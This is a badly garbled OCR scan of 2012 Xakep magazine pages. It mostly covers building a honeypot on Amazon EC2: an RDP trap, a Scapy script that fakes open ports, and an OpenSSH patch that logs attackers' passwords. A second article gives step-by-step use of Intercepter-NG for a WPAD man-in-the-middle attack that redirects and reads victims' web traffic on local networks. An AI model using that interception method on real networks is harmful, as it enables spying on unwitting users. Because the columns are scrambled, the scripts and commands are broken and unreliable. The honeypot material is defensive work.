Арсенал облачных сервисов довольно большой, но наиболее попу
лярны три из них: Amazon Elastic Compute Cloud !сокращенно ЕС2) технология, с помощью которой ты можешь запустить в <<облаке» любое количество компьютеров с нужным тебе конфигам и операци
онной системой;
Amazon Elastic Block 5tore [или ЕВ5)- технология
виртуализации жесткого диска, с помощью которой можно создать виртуальный диск для своего виртуального сервера;
1
5torage 5ervice
[или
53]
Amazon 5imple
-технология, предназначенная для хра
нения файлов, этакий бесконечный контейнер для файлов, которые при желании становятся доступными через веб. Нас прежде всего интересует ЕС2, позволяющий создать виртуальный сервер. << Н о за это же надо платить!»- возможно, резонно заметишь ты. Однако я не сказал о самом привлекательном.
Free Usage Tier
Amazon
в рамках акции
AW5
предоставляет возможность <<nотрогать облака>>
бесплатно. Конечно, на бесплатную версию накладываются опреде ленные ограничения : ежемесячно пользователям предоставляется
750 часов использования 53 . Этих ресурсов вполне
инстанса ЕС2,
10
Г б для ЕВ 5 и
5 Гб
для
хватит, чтобы п однять свой собственный
забугорный выделенный сервер. Мы , кстати, это уже использовали, когда поднимали на ЕС2 свой собственный
VPN. То гд а же мы более Amazon, поэтому рекомендую прочитать статью <<Бесплатный VPN от Amazon» [][ #1 2011). подробно рассказывали о технологиях
Зарегистрироваться и получить доступ к облачным серви сам можно по следующему адресу:
aws.amazon.com . Нажимаем <<5ign up now», на странице регистра ции выбираем << 1am new user» и пошагово выполняем процедуру создания и вери-
кнопку а
ХАКЕР
Account 1Console -7 AW5 Management console». <<Amazon ЕС2». Для создания сервера [в терминологии Amazon - instance'a) нажимаем на кнопку <<Launch lnstance». После чего запускаем мастер настройки сервера. Amazon предлагает на выбор различные варианты ОС для установки. Образ с операционной системой называется AMI [Amazon Machine lmage), причем, помимо файлов самой системы, в него может быть включен нужный софт [к примеру, Apache, My5QL, Memcached и так далее), а также все необходимые файлы. Я для работы выбрал Ubuntu [имя образа- ami-baba68d3). На следующей вкладке важно установить тип ин станса - Micro и открываем << М у
Там выбираем тип сервиса
---
ЕЖЕМЕСЯЧНО ВЫДЕЛЯЕТСЯ
750ЧАСОВИСПОЛЬЗОВАНИЯ ИНСТАНСА ЕС2. ЭТОГО ВПОЛНЕ
ХВАТИ~ ЧТОБЫПОДНЯТЬСВОЙ СОБСТВЕННЫЙ ЗАБУГОРНЫЙ СЕРВЕР БЕСПЛАТНО! 037
05 /16 0/2 012
EPIDEMZ.NET
PCZONE
...
се рвер удачно запустился. В нижней части консоли на вкладке
____________________________~
<< Descг iption>> можно посмотреть детальную информацию об инстансе. П араметр PuЫic DNS определяет внешнее имя сервера
ТЕПЕРЬ ПРИШЛО ВРЕМЯ
[правда, при каждом запуске ин с т анса он буд ет меняться). Чт обы п ри каждом подключении не лезть и не смотре ть новое имя
ПОИГРАТЬ В ЗЛОУМЫШЛЕН
сервера, и д ем в раздел << Eiastic IPs >> и задаем статический адрес. Н ажимаем <<A IIocate Ne w Addгess», в появившемся окне выби
НИКОВ- ПОПРОБУЕМ
раем << EIP used in>> равное ЕС2 и нажимаем <<Yes, Allocate>>. Адрес выделен, теперь надо связать его с инстансом - кл икаем на нем
ПОДОБРАТЬ ПАРОЛЬ
правой кнопкой мыши и нажимаем
<<Associate>>, в появившемся
окне выбираем инстанс, для которого хотим установить этот
К СОБСТВЕННОМУСЕРВЕРУ
а д рес, и нажимаем <<Yes, Associate>>. П осле ч его для п одключе н ия
к серверу будет использоваться статический а др ес. П опробуем подключиться к серверу через SSH :
lnstance, использование которого бесплатно в рамках временного предложения Amazon. Е сли выбрать сервер помощне е, придется
ss h -i antsk ey .pem ubuntu@23.21. 97.235 Тут antskey.pem- пара клю ч ей, которые бы ли с г енери
платить за каждый час его использования. Д альше, в принципе, все можно оставлять по дефолту, нас будут интересовать
рованы при создании ин станса, ubuntu- имя пользователя,
только третий и четвертый шаг. На третьем шаге необходимо
а 23 .21 .97.235 -
будет создать пару открытый/приватный ключ для авторизации
ся из-под винды при помощи РuТТУ, то сначала придется скон
адрес инстанса. Е сли же ты хочешь подключить
на нашем сервере, а на четвертом нужно настроить правила
вертировать приватный ключ в ррk-формат при помощи утилиты
файрвола, чтобы была возможность подключиться к хосту по
PuTTYgen. Для успешного подключения необходимо указать PuTTY IР-адрес инстанса и приватный ключ, по сле ч его мож н о
SSH. Дл я этого надо в выпадающем списке «Сгеаtе а new гule» выбрать пункт <<SS H>> и нажать кнопку <<Add Rule>>. В результате
открывать соединение с удаленным сервером.
мы получаем полноценный сервер с Ubuпtu на борту. Самое время
ХАНИПОТ ДЛЯ
его запустить. Для этого в <<AWS Management Console» выбираем
MS12-20 RDP
пункт <<l nstances >>, видим только что созданный нами инстанс.
Бесплатным дедиком мы обзавелись, осталось п о дн ять на нем
Кликаем по нему правой кнопкой и в появившемся контекстном
хан и пот.
По ско льку сервер у меня был на Linux 'e, необхо д имо было п о д
меню нажимаем на <<St aгt>>. Как только в колонке <<State>> появит
нять непосредс т венно сервис RDP:
ся значение <<Runn i ng>>, это буд ет свидетельствовать о том, ч то
ПРОТИВОДЕЙСТВИЕ СКАНИРОВАНИЮ ПОРТОВ А теперь мы немножечко коснемся того, как затруднить жизнь
Для дальнейши х манипуляций нам понадобится установить
Scapy:
атакующему. Каждая ата к а на начальном этаnе включает в себя изучение цели . В большинстве случаев злоумышленников
# sudo apt-get
iпstall
python-scapy
интересуют установленные сервисы, версия ОС, открытые порты . Всю эту информацию можно получить с помощью сканирования
удаленной машины. Существуют инструменты , способные обнаружить
Scapy-
это сетевая утилита , написанная на языке
Python,
которая
по з воляет посылать, просматривать и анализировать сетевые пакеты .
сканирование портов и заблокировать атакующего , настроив
В отличие от многих других утилит, утилита
соответствующим образом правила файрвола . Мы же пойдем от
теми протоколами, пакеты которых она может генерировать . Фактически
обратного и изобретем собственный велосипед для nротиводействия
она позволяет создавать любые пакеты и комбинировать атаки
SУN-сканированию (опция -sS в nmapl . Данный тип сканирования
различны х типов . Запускаем :
заданный порт, как если бы он хотел открыть соединение с удаленным
# sudo sca py
работае/следующим образом: атакующий отправляет SУN-пакет на
Scapy
не ограничена только
х остом . Если удаленный хост отвечает SУN/АСК-пакетом, то зто означает, что nорт открыт. Если в ответ приходит RST(Reseti-пaкeт, то порт
и говорим, чтобы он отлавливал все сетевые пакеты , пока их количество
з а к рыт. Если же после нескольких передач от удаленного х оста так и не
не будет равно
count :
при х одит ответа , то порт помечается как filteгed . Многие инструменты для противодействия сканированию просто блокируют атакующего , м ы
>>>
s пiff( couп t; l )
же поступим хитрее- создадим иллюзию , что у нас открыт любой порт,
Если нужно анализировать отловленные пакеты , то можно поступить
какой бы он ни просканировал. Для этого нам понадобится, во-первы х,
настроить на своем хосте файрвол , чтобы он блокировал все исходящие
следующим образом :
RSТ- пакеты, указывающие , что этот порт закрыт, во-вторы х , написать небольшой ск риптик, который вместо RSТ-пакетов будет отсылать
>>>
р
; sniff(count;lee )
поддельные SУN/АСК-пакеты, говорящие о том, что порт открыт. Как только Итак, первым делом добавляем правило, блокирующее исходящие
iptaЬles
пере х ватит
100
па кетов, можно будет их
выводит краткую информацию по первым
RSТ- пакеты :
# sudo
Scapy
просмотреть/проанализировать . Например , следующая команда
-А
OUTPUT
-р
tcp --tcp-fiags
RST RST -j DROP
20 пакетам :
>>> p[ e : 19 ].summary()
ХАКЕР
038
EPIDEMZ.NET
05/160/20 12
Ханипат на
iпstall
# sudo apt-get
Amazon
xrdp
В случае успешной установки
RDP сервер должен автоматиче
ски запуститься . Проверить это можно следующим образом:
# пetstat -ап 1 grep 3389 tcp е е е.е.е.е:3389 е.е.е.е:• LISTEN Как видишь, сервер успе шн о стартанул на стандартном
порту RDP
[3389)
и ждет подключений . Все это прекрасно, но
Аmаzоn'овский файрвал режет все подключения к нашему серве ру, кроме тех, что мы разрешим . Поэтом у необходимо опять зайти
в <<AWS Management Coпsole», выбрать п ункт <<Secuгity Gгoups>>, вы брать группу, в которой находится наш инстанс, и добавить правило, разрешающее подключаться по
RDP к нашем у серверу. Делается это
опять же очень просто- достаточно выбрать в выпадающем списке
RDP и кликнуть на <<Add Rule>>. Теперь порт 3389 на нашей машине открыт для внешних п одключений. Осталось только приказать
Лог, собранный tcpdump'oм
tcpdump'y сохранять все пакеты, отправляемые на этот порт:
своей работой, аккуратно сохранив все пакеты в лог-файл . Оста·
# sudo tcpdump tcp port 3389 -i ethe \ -vvX >> /home/ ubuпtu/rdplog.txt &
ется перезапустить
tcpdump и оставить сервер на ночь поработать,
может быть, утром в логе обнаружится что-то интересное. Наутро
ничего интересного не нашлось, и на следую щее- тоже:) . Очень
Чтобы проверить , попробуем, к при меру, просканировать наш хае т сканером
скоро для
nmap:
Metasploit появился работающий сплоит, который клал
на лопатки виндовую систему, но, естестве нно, никто не пытался
#
пmар
-Т4
-А
использовать его для создания червя. Я опробовал его на своем
-v 23.21.97.235
хаете- и это была первая запись в логе снифера, сохранившая
Сканер сооб щил , что обнаружил два открытых nорта: и
3389. Отлично,
боевую нагрузку. Появится ли сплоит с боевым применением,
22
позволяющий выполнить код,- вопрос откры тый . Мой ха н и пот
теперь зай д ем на сервер, пос мотрим, попало ли
что-нибудь в лог. Как видим,
по-прежнему активен и ждет своего часа:).
tcpdump прево сходно справился со
Детальную информацию о каждом па кете можно посмотреть так:
»> »> »>
р[ 2 ] р[ 2 ] р[ 2 ]
.dst [Ether] [IP]
11
адрес
i.src = ip.dst t = ТСР() # отправляемый t.fiags = "SA" t.dport = tcp.sport t.sport = tcp.dport t.seq = tcp.ack пew_ack = tcp.seq + 1
назначения
//
Etherпet
/1
заголовок IР-пакета и
кадр содержимое
В общем, если хочешь попробовать все возможности инструмента
теР-се гмент
почитай документацию на официальном сайте, мы же их подробно рассматривать не будем. Наша задача- написать преетенький
priпt
скриптик, использующий
seпd(i/t)
Scapy,
который будет сообщать атакующему,
что каждый А расканированный порт является открытым. Приступим. папа
seпt
to " ,i.dst, " : " , t.dport
sпiff(prп=fiпdSYN)
Создаем файл для редактирования:
#
"SYN/ ACK
Принцип работы скриптапрост-разбираем полученный SУN-пакет
aпtiscaп.py
и конструируем ответ, сообщающий, что данный порт открыт. Скрипт
и пишем следующий код:
готов, делаем его исполняемым и запускаем:
#!/usr/biп/eпv pythoп
# chmod +х aпtiscan.py # sudo /home/ubuntu/antiscaп.py
import sys from scapy.all import
* Перед тем как nерейти к сканированию нашего хоста, необходимо
def fiпdSYN(p) : fiags = p.spriпtf( "%TCP . flags% " ) i f flags == " 5" : # отвечаем только на SУN-пакеты ip = p[IP] # . полученный IР-пакет tcp = р[ТСР] # полученный ТСР - сегмент i = IP() # отправляемый IР- п акет i.dst = ip.src
ХАКЕР
добавить три nравила в Secuгity-Gгoup для нашего инстанса-
UDP, AIIICMP. Теnерь #
пmар
-Т4
-А
All
ТСР,
All
можно запускать сканирование:
-v 23.21.97.235
После чего видим, что сканер обнаружил огромное число открытых портов. Значит, мы добились своей цели.
039
05/160/2012
EPIDEMZ.NET
PCZONE ТЮНИМ
SSH
ДЛЯ БОРЬБЫ С БРУТФОРСОМ
Устанавливаем необходимые библиотеки, компилятор,
Разумеется, хан и пот можно заточить под самые разные задачи.
скачиваем исходники
Не секрет, что немало лю д ей по всему миру сканируют по д сети
Компиляция прохо д ит успешно, теперь на д о за п усти т ь получен
OpenSSH,
расnаковываем и компилируем.
и пытаются сбрутить па роли д ля п одклю ч ения к д е д икам. В т ом
ный сервер. Н о п ере д этим разберемся с ко н фи г ура ц ио н ными
числе по п ротоко л у
файлами. Скопируем sshd_coпf i g в папку / u s г/loca l /etc:
SS H. Б ороться
с эти м мож н о р аз н ыми спосо
бами: разре ш ат ь п о д ключение т олько с определе нн ых а д ресов, блокировать атакую щ его с помо щ ью файрвала после нескол ь ких
# sudo
sshd_config / usr/local/etc
ер
неудачны~ по п ыток залоги н иться и так д алее. У нас же абсо лютно противоположная задача- мы предоставим атакующему
фейковый
SSH,
Открываем и правим:
который будет за п исыва т ь в лог передаваемую
им информацию [адрес атакующего, имя пользователя для под
# su do nano /usr/loca l /etc/sshd_co nfig
ключения, па роль!. Нач н ем мы с того, что перенесем нормальный SS H -cepвep на дру г ой порт. П усть это будет порт
Параметр Рогt устанавливаем в значение
2222.
22,
чтобы наш
поддельный сервер использовал дефолтный порт; включаем воз
можность аутен т ификации по паролю - <<PasswoгdAutheпticatioп
# sudo ер /etc/ss h/ss hd_confi g \ /etc/ss h_ss hd_c onfi g. ba k2 # sudo nano /etc/ss h/ss hd_co nfig
yes>>;
отключаем опцию
мы собрали
OpenSSH
UsePAM,
закомме нт и р о в ав ее, так как
без по д держки РАМ; сохраняем и выхо д им.
Запускаем сервер, п редварител ь но создав необхо д имую ему С н ачала делаем бэкап конфигурационного файла sshd_coпfig ,
директорию /vaг/empty :
затем открываем его в редакторе па по . Ищем строку «Рогt
22»
и меняем ее на <<Рог!
2222». Теперь надо ребутнуть сервер. <<AWS Maпagemeпt Coпsole». Те п ерь если подключиться к SSH на 22-м порту, то получим со
Сделать это можно из попробовать
общение об ошибке <<Netwoгk еггог : Coпnection гefused >> . Логично:
SS H -cepвep слушает совсем другой порт. Однако перед тем как подключиться к SSH-cep в epy на порту
2222,
Чтобы убедиться, что сервер успешно запущен, поищем его в списке процессов :
необходимо оnять
поднастроить файрвал Amazoп'a. Создаем новое правило ТСР гule>>, указываем « Р огt гange>> равным
# sudo mkdir /var/empt y # sudo / home/ubuntu/openssh-5.9 pl /ss hd
2222,
<<Custom
# ps aux
1
grep sshd
а << Souгce>>
оставляем по умолчанию равным
0.0.0.0/0. Добавляем правило <<App ly Rule Chaпges>>. После чего ле г ко коннек т имся по SS H. Теперь займемся созданием SSH-cepвepa, ко
В списке процессов фигурируют два
sshd: /usг/s b in/sshd, за п у
и нажимаем
щенный сис темой, и /home/ubuпtu/opeпssh-5.9p1/ss hd , за п у щ ен
к серверу
ный нами вручную. Коман д а
торый будет сохранять информацию, передаваемую атакующим. Н ам потребуются исходники
make,
библиотеки
libssl -dev
OpenSSH,
компилятор
GCC,
утилита
# netstat -an
1
grep 22
и zliЫg-dev. покажет, что запущенные серверы слушают порты
# # # # # #
# # # #
sudo sudo sudo sudo sudo wget
apt-get update apt-get install l ibssl- dev apt-get insta l l zliЫg-dev apt-get instal l make apt-get inst al l gcc htt p ://ope nb sd.o r g.ar/\
22
и
2222.
Теперь надо научить наш SSH-cepвep сохранять данные, пере
даваемые атакующим. Убиваем запущенный нами сервер и идем в папку с сорцами. Нас интересует один файл, в котором проис хо дит проверка введенного пароля,- это
auth-passwd.c.
Реко
мендую, прежде чем проводить с ним какие-либо манипуляции, создать его резервную копию . Итак, открываем исхо д ный файл
pu b /OpenBSD/Ope n SS H / p or t aЬle/\
для редактирования. Первое, что потребуется сдела т ь, - это по д
openss h-5.9 pl .tar. gz tar xvzf openss h- 5. 9pl .tar.gz cd openss h-5.9pl ./configure make
ключить еще один заголовочный файл: #iпclude
Патчим
SSH для
сохранения информации о з лоумышленнике
"canoh ost.h" .
После чего пролистываем код немного ниже и ви д им функ ц ию auth_passwoгd. Она-то как раз нам и нуж н а. С л егка мо д иф и циру ем ее. Сразу после строки
«int r esult, ok
=
authct xt ->v alid;>>
вставим приведенный ниже код :
З ашкаливающее число попыток подобрать параль к
SSH
ХАКЕР
01.0
EPIDEMZ.NET
05/160/2012
Ха нипат на Amazon
nытаемся nроэксnлуатировать уязвимость в nротоколе
RDP на
нашем сервере
Злоумышл енник вид ит, что все nорты от крыт ы
Теперь при ш ло время поиграть в з ло умышле нни ков- по
if (*password != '\8' )
пробуем подобрать параль к собственному серверу. Запускаем
{
еще о дин экземпляр РuТТУ, вводим адрес сервера 123.21 .97.235]
struct tm *timePtr; time_t localTime; char timeString[ 188];
и соединяемся . Нам предлагают ввес т и лаги н, пусть это будет
гооt . А дальше надо угадать параль для него:]. Вручную подби рать параль надоедает быстро, так что пойдем лучше правери м, что у нас появилось в логе. А в логе появились записи вида:
localTime = time(NULL); timePtr = localtime(&localTime) ; strftime(timeString, 188, "%0 %r ", timePtr);
From : 72.241 .54.74 at: 83/27/12 11 :33:58 root, pass: П
FILE *logFile; logFile = fopen( "/ var/log/ sshd_attempts" , "a+" ); fprintf (logFЦe, "From : %s at : %s 1 user : %s, pass: %s\ n" , get_remote_ipaddr(), timeString, authctxt- >user, password ); fclose (logFile);
АМ 1
user:
Как видишь, все прекрасно работает. Ед и н ственно, если сейчас просканировать сервер, то сканер покажет три открытых п орта -
22, 2222, 3389. Чтобы порт 2222 не вызывал ли шн их подозрений, его можно временно закрыть амазоновским файрволом.
ЗАКЛЮЧЕНИЕ Как видишь, поднять собственный хан и пот не так уж сложно. Н ужно лишь немного терпения и хороший сервер. В качестве
Как видно из листинга, ес ли пар аль н е пуст, то мы сохраняем
1
площадки для экспериментов отлично себя зарекомендовал
в файл /vaг/log/sshd_attempts а др ес атакую щ его, имя пользователя,
сервис Elast ic Compute Cloud от Amazoп. Во-первых, такой
используемое для подключения, и п а роль . Сохраняем изменен ны й
сервер очень быстро соз дается; во-вторых , на нем нет ни каких
файл и за н ово собираем OpeпSSH пр и помощи утили ты make. Н у ч т о
важных данных и его не жалко; в-третьих, он пока бесплатен.
ж, теперь все готово, за п ускаем наш проп атчен ны й сер ве р:
Сама же тема созданияханипотов д остаточно обширная, и я ре комендую продолжить экспе рименты, вооружив ши сь с п е ци али
#
s udo / home/ ubuntu / openssh-5 .9 p1 /ss hd
зирова нной утилитой honeyd . :::К:
На диске выложены необходимые файлы для работы с AWS.
УДОБНОЕ УПРАВЛЕНИЕ ЕС2 Веб-консоль для управления
AWS
хотя и предоставляет
полученных во время регистрации
AWS Access Кеу и AWS Amazon предоставляет
все необходимое, не всегда удобна . Для более комфортной
Secret Access
работы лучше установить специальный плагин
набор консольных утилит [ s3.amazonaws.com/ec2-dowпloads/
Elasticfox для
Fiгefox . Настройка аддона сводится к указанию в настройках
ХАКЕР
Кеу. Помимо этого, сам
ec2 -api - tools.z(p ) для
взаимодействия с ЕС2 .
05/160/2012
nодробная информация о MS1220: blt.ly/ADJcA6.
01,1
EPIDEMZ.NET
PCZONE
ares lhttp://sniff.sul
НОВАЯ ВОЗМОЖНОСТЬ INTERCEPTER-NG ДЛЯ ПЕРЕХВАТАСЕТЕВОГО ТРАФИКА Казалось бы, что еще можно в наши
дни придумать в области перехвата трафика и атак типа О том, что такое
man-in-the-middle? ARP poison, знает почти
каждый . Более опытные товарищи использовали перехват через
ICMP Redirect . Однако
DHCP
или
есть в закромах
искушенных «нюхачей » еще одна атака. Даже если кто-то о ней и слышал,
то уж точно ее не использовал . Речь идет об атаке через протокол
WPAD,
которая позволяет успешно заниматься шпионажем в локальных сетях .
ХАКЕР
EPIDEMZ.NET
05/160/2012
Снифаем трафик ч е рез
ЧТО ТАКО Е
WPAO?
в се ти сказал, что о н имеет имя
Немного теории. Е сть такой протокол
WPAD !Web Рг оху Auto-
<<W PAD », то
WPAD
клие нт сое д иняе т ся по
80-му nорту на
IP
Discoveгyl : он отвечает за автоматиче с кое получение на ст роек
файл
в кото р ом должны находиться настройки пр ок-
прокси в локальной сети и п о дд ерживается практически всеми веб
си. Эта схема работы
браузерами и рядом др у гих се тевы х приложений . Наверняка каждый
далеко н е все б ра узеры и не всегда прим еняют
из вас видел галочку << Автоматическ ое определение пара метров»
DN S-метод. В конечн ом счете сам ым основным с п особом поиска
в разделе сетевых настроек тог о же
хоста с именем
IE. Та к уж сложилось,
чт о в ре
wpad.dat,
ответившего хоста и затем пытается загрузить
WPAD описа на
<<WPAD » становится
ста нда ртом, но на пра ктике
DHCP
служба имен
или даж е
Net BIOS . И
это
корень уязвимости!
альности дан н·ый протокол очень редко используется и прис у тств ует
в браузерах пр осто как дополнительный функционал !кс тати, в Орега все еще нет п олной п о дд ержки
WPAD,
хо тя
IE научился
ПОЧЕМУ ОН НЕ Б ЕЗОПАСЕН ?
с ним рабо
тать еще в 1999 год у!.
С само г о начала своего су щ ествования
В кратце суть работы э т о го проток о ла такова: если клиент использует
DHCP
сервера. Про с тота вызвана тем, что NetBIO S-зaпpoc разрешения
не настроен на выдачу WРА D -конфигурации или в сети не
используется
DHCP
имени является широковещательным и все компьютеры в сети могут
как получить его, так и ответить на него. Именно это д ействие и есть
как таковой, т о клиент п робует разрешить
сетевое имя вида wpad.localdomaiп, используя
DNS . В
с тал брешью в без
данны х, выдавая клиентам сети собственную конф и гу раци ю nрокси
для пол уче ния IР -адреса в сети, то и заур лом
с настройкой пр окси он обращается к своему DНСР- сер в е р у. Е сли
DHCP
WPAD
опасности, п ото м у что п озво ля ет очень легко n ерехватит ь поток
ключ к успешному внедрению браузерам жертв наших собс твенны х
с л учае
присутствия поддоменов вида dep 2.b гanch1.fiгm. co m будут пере
на строек прокси. Мы можем сообщить н ужные нам настройки и п у
бират ь ся урлы вид а wpa d.dep2 . bгanch1 . fiгm . com, w p a d . bгan ch1.
стить трафик через себя- проще nростого!
fiгm.com, wpa d.fiгm. com и, в конечном счете, сам
wpad .com -
что
Однако, несмотря на кажущуюся пр остату и д ол гий срок су щ е
очень и очень небезопасно, потому что владелец такого домена
ствования та кой лазейки , атака все-таки не приобрела боль ш ой
винтернетесможет повлиять на работу внутренней сети. Е сли имя
известности . П очему? Можно выделить две причины. В о-пер вы х , она
не найдено и через
позволяет перехватывать только веб-трафик клиента: пол у ча ется,
ка имени
DN S, то д елается последняя попыт ка поис<<WPAD»- через N etВIOS. В случае очере дной неудачи
многим прощ е запусти ть
клиент пробует выпол нит ь соединение напрямую . Н о если кто-то
AR P poison
и перехватить г ораз до больше.
А во-вторых, для ее осуществления хоть и не требуется каких-то
О Intercepter-NG 0.9.1
Г Router's IP
L1 192 . 168 .
Externallnterface - jRealtek PCie FE Family Controller
1 . 1
Г Stealth IP 1
on 192.168.1.2
lnternallnterface
1 192 . 168 . 1
jRealtek PCie FE Family Controller
. 6
l::==:;:====='~ г 1
on 192.168.1.2
NA Т Statistics Packets IN : UDP:
О ТСР: О
Packets OUT : UDP: О ТСР: О
MiTM: IN: О OUT : О
MiTM Options
Add Client
Г SSL t·. 1iП.·1
Г DNS over ICMP
Г SSL Strrp
Р ICMP Update
Р ~PA'~~.'bl,.i'f.~)
•
••
NAT Clients
Packets: 211272
(106.70МЬ)
Активируем МiТМ-атаку с nомощью
ХАКЕР
Parsed: 184611
МАС :
44-87 -FC-73-62-4E
Current mode: NAT
WPAD одним кликом мыши .
05/ 160/ 201 2
EPIDEMZ.NET
Status: Scan Complete
PCZONE ф ан тас т ическ и х ма н и п уля ц ий , но в с е же н еобходимо запус т и т ь и н а строить ряд се р виса в:
1. 2.
Н еоб х одимо заре г ис т риро в а т ь в сети имя
<<WPAD».
Н еобхо д имо зап у с т ит ь веб-сервер и соз д а т ь фай л нас т роек
«wpad.dat». 3.
Н еобхо ди мо запустить п рокси - се р ве р , котор ы й буд етобсл у живать п ере н а п равлен ны х жерт в .
Е сли н а Unix это п ро д елывается достато чн о быстро , т о Windows выnолнение под о б н ых о п ера ци й требуе т бол ь ше
на времени
и у с и л ий , в том числе д ля у ста н овки д о п о л ните ль ного с офта. Вдоба вок воз н икает п робле м а с переиме н ова н ием в се т и . Д овольно nо д о зри т е л ь н о буд ет вы гл яде т ь ком n ью т ер с име н ем
«WPA D» в
се т е вом
окр у же н ии , а ес л и захочет с я п риме н и т ь и н стр у ме н т вроде nЫoo l для
Src: 44-87- fC - 73-62- 4!:, Dst:
того , чтобы скры тн о отвечать на за пр осы от име н и д ется останови т ь
011 02 1 031 041 051 061
п ор т а
«WPAD >>, то п ри NetBIOS NS- с л у жб у Windows д ля осв о божд е ния
137 UDP- и,
соответственно , отключиться от се т и , п о т о м у чт о
в с е п одобные утилиты д ля работ ы исnольз у ют с о кеты.
РЕАЛИЗАЦИЯ АТАКИ В
00 - 24 -0 1-A l- З F-AO ,
435 by&es on v1re
Src: 192.168.1.2, Dst: !95.82 .146. 120 Src: 64890, Dst: 80
ТСР
474554201
1 302530331 256536251 32 39 25 64 1
6С69394С
706565721
2f 61 бЕ б! 1 5550 26691
25 63 31 бF 1 61 35 25 64 1 352533621
sr
69 64
эо
1
З f 15 БВ ЗD 1 БЕ ББ Б r sr 1 2564 63 4!: 1
43 52 74 ЭВ 6861 7368 25663930
66253132 1 25323725 54 25 66 65 1 33 42 76 26 20 55 54 зз 1 31 32 30 20
GП
/anntuk • CRCS l i9LU Pf.int:o_hash
•'.103%c lo% dcll %t: 9 0 \eбlt:e.S~t:d t: % 1 2%2 7 \
29\ dS \ЗbT\! e ЭBv"
~::~.~~==~~~~
INTERCEPTER-NG
Имен н о м н имая с л ожно с т ь и о т с у т ст в ие ав т омат из ир о в а нны х
Packtts: l&ogzв (92.67МЬ)
Par,ed: 178116
МАС: 44-87 - FC·1H2~~t nt modt: RAW
и н струмен т о в , реа л из у ющи х дан н ую атак у, явля ю т с я пр ич ин ой е е малой извес тн ос т и и распрос т ране нн ости. В lnteг c ep t eг-NG
Пер ех вач е нны й снифером трафик
[http ://sniff.su l прове д ение атаки на WPAD п о лностью а в т о м а ти з и рова н о и прохо д и т за неско л ько секун д . Б лагодаря и спо ль зо ва нию драйвера
Win Pcap
нет н уж ды п ро е л у ш и ва т ь соке ты или пе
Thread I N sta r t ed .. . WPAD Th rea d start ed . . .
реименовывать собс т венное NetB I OS-имя. Указ ыва ть ко н кре тны х жер тв не т ребуется, n отому что в ыд а ч а конфиг у раци и пр о ис хо дит
Как только к т о-то за n росит н ас тр ойки nр окси, lnteг cepte г - NG
все м запроси вш им. Н а вы бор мож н о вр у чн у ю у к аз ать nро кс и сервер, который буд ет выдаваться клиентам , ил и и с п ол ь зо ва т ь
n е р е наnравит веб -трафик на себя , и т ы сможе шь у в и д е ть n е р ехва
SOCKS - c ep в ep, в ст р оенный в сам снифер. В п о с л ед не м сл у ч а е
ч е нны е дан н ые!
д ля п ерехва т а т рафика кроме l nteгcepteг - NG больш е н и ч е г о не
Ст о ит заметить, что данна я а т ака lв о тл ич и е о т т о го же ARP pois onl а бсолю т н о б езвредна д ля жер тв . Д аже ес л и ч то-т о п ой д е т
требуе т ся. В об щ ем случае атака со с тоит из тре х nр ос ты х ша го в:
1. 2.
3.
За п ускаем снифер и выбираем ин т ерфей с для с ниф и нга .
не так с веб - се рвер о м , содержа щ им ко нф и г ура ц ион ны й файл
В к л ючаем вст р ое нн ый SOCKS - ce pв ep , ко т орый б удет исп о льзо
wpad .dat
ваться дл я обс л ужи в ани я пере н аnравленны х жертв, - для это г о
в е б- n риложения не с л учитс я : он прос т о п р о игнор и р уе т а вт о мат и
к л икаем н а иконку настроек и активир уем о п цию «Built-i n SOCKS >>.
ческое nол у чение настроек и n родо л жи т об ращ а ть ся к р есу р с а м
Н аж и маем на кнопку«NАТ
ил и нашим nрокси-сервером, н ик а ких сбое в в р або те
Mode>>, чтобы включи т ь в с т роенный NAT. В ажно в гру n пе «Mi TM options >> вклю ч ить о n ц ию «WPAD MiTM >>, n ос л е ч его к л икаем на кноnк у « S t a гt/St o p NAT>>. В лог е
WPAD, является
н а n р ям у ю. С а м ой б ольш о й проб л емой, с вя за нн ой с безо n ас н остью
д олжно n оя в иться nример н о сле д ую щ е е :
б ра узе р ы или иные nриложе н и я !ко т о ры е ис n о л ьзую т се т евые
и с пользо в ание д а нн о г о п р отокола в l nteгnet
Е х р lо гег по у молчанию. Это значи т, что C h гome и, оче в и д но, др угие
на с тр ой ки и з IEI nодвержены э той а таке . П оэ т ому в лю бой се т и найдется как минимум несколько же р тв, ко т ор ы х мож н о п е р ех в а
NAT starting . .. Th r ead OUT started .. . MiTM on se st arted . . . MiTM on 61111 st art ed .. . Threa d UPDATE sta r t ed .. .
т и ть л е гк о и неnринуж д енно . П риме н ят ь эту т ехнику мож н о в т ех
с л у чая х, когда отравление АRР-ке ш а не в оз м ож н о [ и с n о ль зуютс я ст атичные записи ! или треб у етс я п е р ехва т ит ь т о л ько в е б-т ра ф ик, не соз давая лиш н е г о шума в с ети. :И:
t'l.i;J:II:tд Информация
BKYCHOCTИINTERCEPTER-NG
представлена
в ознакомительных
целях . Ни автор , ни редакция не несут
С момента nубликации статьи « Снифер
+ МIТМ-ата к и =
отдельного nрилож е ния в сам lnteгcepteг и теnерь является
O x4553-lnteгcepteг >> nроизошли к ардинальные изменения ка к
ра з д е ло м с М i ТМ - атака м и . Полностью nереработа н режим
Raw
в названии и внешнем виде, так и в функционале . На к онец -то
Mode, теnерь он
nоявилась возможность ресайзить окно nрограммы по все м
анализатор Wiгeshaгk и х отя функционально намного nроще,
наnравлениям. Основная конфигурация n е ренесена в раздел
вnолн е сnравля е т с я со с во ей о с новной задачей. Режим анали з а
оnций . Появился отдельный режим сканирования, в к отором
сообщени й м есенд ж еров представляет собой с етку, в которой
быстро и легко можно nросканировать всю сеть и nолучить
м ож но осуществлять с ортировку по nолю
доnолнительную информацию об IР-адреса х, nрои з вод и теле
награбленные данны е можно не только в виде текста , но и в
сетевой карты, исnользуемой оnерационной системе (на основ е
виде НТМL-страницы , в боле е удобно й и читабельно ~ форме .
значения
TTL},
а также оnределить адрес шлюза и валидное
значение для параметра
Stealth IP,
который требуется nри
реализации большинства МiТМ-атак .
NAT
nеренесен и з
в и зуально наnоминает самый мощный сетевой
ответственности за
любой возможный вред, причиненный материалами данной статьи .
10. Со х ранить
В следу ющи х версия х планируется реализация очень вкус ны х фун к ций, по з тому с леди за обновлениями на официальном
с айте
sniff.s u.
ХАКЕР
ом.
EPIDEMZ.NET
05/16 0/2012
PCZONE
Мария << Mifrill» Нефедова lm ifrilllareal .xakep.rul
Неограниченный айлообмен пять ФИШЕК СЕРВИСА
WireOver Untimited Fite Sending for Free ".~---;-~
Get on the List
WIREOVER В ответ на выпады
